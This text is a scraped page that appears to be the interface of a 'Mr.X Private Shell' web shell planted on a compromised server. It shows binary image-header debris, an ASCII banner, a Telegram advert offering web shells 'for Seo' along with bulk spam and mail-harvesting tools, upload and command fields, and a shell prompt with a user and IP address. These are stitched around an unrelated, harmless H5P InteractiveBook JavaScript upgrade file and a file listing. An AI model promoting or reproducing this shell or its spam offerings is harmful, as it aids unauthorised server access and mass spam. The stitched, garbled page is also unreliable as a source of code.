����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
var H5PUpgrades = H5PUpgrades || {};

H5PUpgrades['H5P.InteractiveBook'] = (function () {
  return {
    1: {
      /**
       * Upgrade cover description to not imply "centered"
       * @param {object} parameters Parameters of content.
       * @param {function} finished Callback.
       * @param {object} extras Metadata.
       */
      6: function (parameters, finished, extras) {
        if (parameters && parameters.bookCover) {
          const bookCover = parameters.bookCover;

          const convertToImageParams = function (file, alt) {
            const imageParams = {
              library: 'H5P.Image 1.1',
              metadata: {
                contentType: 'Image',
                license: 'U',
                title: 'Untitled Image'
              },
              params: {
                contentName: 'Image',
                decorative: false
              },
              subContentId: 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (char) {
                const random = Math.random()*16|0, newChar = char === 'x' ? random : (random&0x3|0x8);
                return newChar.toString(16);
              })
            };

            if (alt) {
              imageParams.params.alt = alt;
            }

            if (file) {
              imageParams.params.file = file;
              if (file.copyright) {
                const copyright = file.copyright;

                if (copyright.author) {
                  imageParams.metadata.authors = [{
                    name: copyright.author,
                    role: 'Author'
                  }];
                }

                if (copyright.license) {
                  imageParams.metadata.license = copyright.license;
                }

                if (copyright.source) {
                  imageParams.metadata.source = copyright.source;
                }

                if (copyright.title) {
                  imageParams.metadata.title = copyright.title;
                }

                if (copyright.version) {
                  imageParams.metadata.licenseVersion = copyright.version;
                }

                if (copyright.year && !isNaN(parseInt(copyright.year))) {
                  imageParams.metadata.yearFrom = parseInt(copyright.year);
                }

                delete imageParams.params.file.copyright;
              }
            }

            return imageParams;
          };

          if (bookCover.coverAltText || bookCover.coverImage) {
            bookCover.coverMedium = convertToImageParams(bookCover.coverImage, bookCover.coverAltText);
          }

          delete bookCover.coverImage;
          delete bookCover.coverAltText;
        }
        
        if (parameters && parameters.bookCover && parameters.bookCover.coverDescription) {
          if (parameters.bookCover.coverDescription.substr(0, 2) !== '<p') {
            parameters.bookCover.coverDescription = '<p style="text-align: center;">' + parameters.bookCover.coverDescription + '</p>'; // was plain text
          }
          else {
            parameters.bookCover.coverDescription = parameters.bookCover.coverDescription.replace(/<p[^>]*>/g, '<p style="text-align: center;">');
          }
        }

        finished(null, parameters, extras);
      }
    }
  };
})();

Filemanager

Name Type Size Permission Actions
f61d489820cdaf2e86d42a4f1c3dba178256e8b9 File 3.23 KB 0666